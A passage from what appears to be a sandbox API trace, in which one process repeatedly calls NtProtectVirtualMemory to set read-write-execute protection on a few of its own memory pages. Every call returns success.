ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.590] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.612] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.628] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.659] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.729] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.741] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.768] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.779] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.789] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.800] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.817] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.827] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.838] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.848] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.865] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.885] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.895] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.913] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.935] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.944] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.964] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.976] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.987] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.035] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.045] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.056] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.066] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.083] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.093] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.132] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.142] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.153] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.163] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.180] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.191] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.201] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.211] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.228] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.297] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.315] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.464] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.475] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.485] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.515] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.529] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.540] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.598] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.609] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.704] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.722] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.755] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.801] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.820] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.957] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.989] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.005] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.096] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.111] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0353.161] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) 